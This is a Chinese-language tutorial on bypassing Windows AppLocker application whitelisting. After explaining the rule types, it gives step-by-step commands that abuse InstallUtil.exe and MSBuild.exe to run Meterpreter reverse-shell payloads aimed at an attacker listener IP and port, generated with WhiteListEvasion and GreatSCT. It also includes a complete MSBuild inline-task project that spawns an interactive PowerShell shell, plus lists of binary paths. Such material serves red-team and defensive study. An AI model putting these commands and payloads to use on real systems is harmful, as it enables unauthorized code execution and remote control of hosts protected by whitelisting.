如何进行AppLocker绕过分析
时间:2023-05-15 13:12
AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能,我们可以使用在services中启用Application Identity,然后在local security policy中找到Application Control Policies中看到Applocker选项。 默认的Applocker规则支持以下几种: 规则** | 关联的文件格式 ---|--- 可执行文件 | .exe、.com 脚本 | .ps1、.bat、.cmd、.vbs、.js Windows Installer 文件 | .msi、.msp、.mst 封装应用和封装应用安装程序 | .appx DLL 文件 | .dll、.ocx .appx并不是所有的applocker都会存在,应根据windows版本来,在win10上,创建applocker规则后会在C:WindowsSystem32AppLocker生产相应的.applocker文件。 规则条件是用于帮助 AppLocker 标识要应用规则的应用的标准。三个主要规则条件为发布者、路径和文件哈希。 发布者:基于应用的数字签名标识它 路径:通过应用在计算机文件系统中或网络上的位置来标识它 文件哈希:表示已标识文件的系统计算的加密哈希 在你创建了一个applocker规则后,系统会默认询问你是否添加一条默认规则,如下图所示: 每个规则所对应的默认规则如下: 可执行的默认规则类型包括: 允许本地 Administrators 组的成员运行所有应用。 允许 Everyone 组的成员运行 Windows 文件夹中的应用。 允许 Everyone 组的成员运行 Program Files 文件夹中的应用。 脚本默认规则类型包括: 允许本地 Administrators 组的成员运行所有脚本。 允许 Everyone 组的成员运行 Program Files 文件夹中的脚本。 允许 Everyone 组的成员运行 Windows 文件夹中的脚本。 Windows Installer 默认规则类型包括: 允许本地 Administrators 组的成员运行所有 Windows Installer 文件。 允许 Everyone 组的成员运行所有已进行数字签名的 Windows Installer 文件。 允许 Everyone 组的成员运行 WindowsInstaller 文件夹中的所有 Windows Installer 文件。 DLL 默认规则类型: 允许本地 Administrators 组的成员运行所有 DLL。 允许 Everyone 组的成员运行 Program Files 文件夹中的 DLL。 允许 Everyone 组的成员运行 Windows 文件夹中的 DLL。 封装应用默认规则类型: 允许 Everyone 组的成员安装和运行所有已签名的封装应用和封装应用安装程序 可将规则配置为使用允许或拒绝操作: 允许。你可以指定允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。 拒绝。你可以指定 not 允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。 讲了那么多,我们以禁止在桌面上运行exe文件为例,创建一条规则。创建完大体如下: 运行exe测试: 系统就会阻止我们运行 InstallUtil是.NET Framework的一部分,是一个命令行程序,它使用户可以通过命令提示符快速安装和卸载应用程序。由于此实用程序是Microsoft签名的二进制文件,因此可以用来绕过AppLocker限制来运行任何.NET可执行文件。该实用程序也位于Windows文件夹内,该文件夹不会应用AppLocker策略,因为需要执行Windows文件夹的内容才能使系统正常运行。 首先我们使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一个模板 python InstallUtil.py --cs_file pentestlab.cs--exe_file /root/Desktop/pentestlab.exe --payloadwindows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443 上面的命令将生成一个C#模板,其中将包含Metasploit ShellCode。 将生成后的文件放到目标中使用下面的方法执行: C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe 当然你也可以是先使用msf生成一个csharp的payload,然后替换模板中的shellcode,然后将cs文件传到目标机。 然后用csc编译我们的脚本: C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs 此时我们执行我们的文件试试: 被规则拦截,那么我们使用 C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe 绕过 msf成功上线 在msf中也有使用InstallUtil.exe进行applocker的bypass模块。 exploit/windows/local/applocker_bypass 原理是一样的 附带常见的路径: C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe C:WindowsMicrosoft.NETFramework64v2.0.50727InstallUtil.exe C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的软件构建平台。它采用XML格式的项目文件,这些文件定义了构建各种平台和配置的要求。(引用:MSDN MSBuild) 我们可以使用MSBuild通过受信任的Windows实用工具代理代码执行。.NET版本4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中。内联任务MSBuild将编译并执行内联任务。MSBuild.exe是一个经过签名的Microsoft二进制文件,因此,以这种方式使用它时,它可以执行任意代码,并绕过配置为允许MSBuild.exe执行的应用程序白名单防护. 我们这里直接使用GreatSCT生成一个xml文件。 ./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py 并且会给我们生成一个rc文件,我们可以使用msfconsole -r 直接启动msf 然后使用msbuild执行, msf上线: 当然你也可以是使用msf生成一个c#的shellcode然后使用三好学生师傅的模板加载: https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml 注意将后缀名改为.csproj 除了反弹shell以外我们还可以用它来绕过powershell的限制。 代码如下: <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <!-- This inline task executes c# code. --> <!-- C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe pshell.xml --> <!-- Author: Casey Smith, Twitter: @subTee --> <!-- License: BSD 3-Clause --> <Target Name="Hello"> <FragmentExample /> <ClassExample /> </Target> <UsingTask TaskName="FragmentExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" ><ParameterGroup/><Task> <Using Namespace="System" /> <Using Namespace="System.IO" /> <Code Type="Fragment" Language="cs"><![CDATA[ Console.WriteLine("Hello From Fragment"); ]]> </Code></Task></UsingTask><UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" ><Task> <Reference Include="System.Management.Automation" /> <Code Type="Class" Language="cs"><![CDATA[ using System; using System.IO; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; //Add For PowerShell Invocation using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; public class ClassExample : Task, ITask { public override bool Execute() { while(true) { Console.Write("PS >"); string x = Console.ReadLine(); try { Console.WriteLine(RunPSCommand(x)); } catch (Exception e) { Console.WriteLine(e.Message); } } return true; } //Based on Jared Atkinson's And Justin Warner's Work public static string RunPSCommand(string cmd) { //Init stuff Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); Pipeline pipeline = runspace.CreatePipeline(); //Add commands pipeline.Commands.AddScript(cmd); //Prep PS for string output and invoke pipeline.Commands.Add("Out-String"); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); //Convert records to strings StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.Append(obj); } return stringBuilder.ToString().Trim(); } public static void RunPSFile(string script) { PowerShell ps = PowerShell.Create(); ps.AddScript(script).Invoke(); } } ]]> </Code></Task> </UsingTask></Project> 原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml 成功绕过对powershell的限制。 常见路径如下: C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe前言
什么是applocker
applocker规则
applocker规则条件
AppLocker 默认规则
AppLocker 规则行为
创建一个applocker规则
bypass Applocker
Installutil.exe
Msbuild.exe
<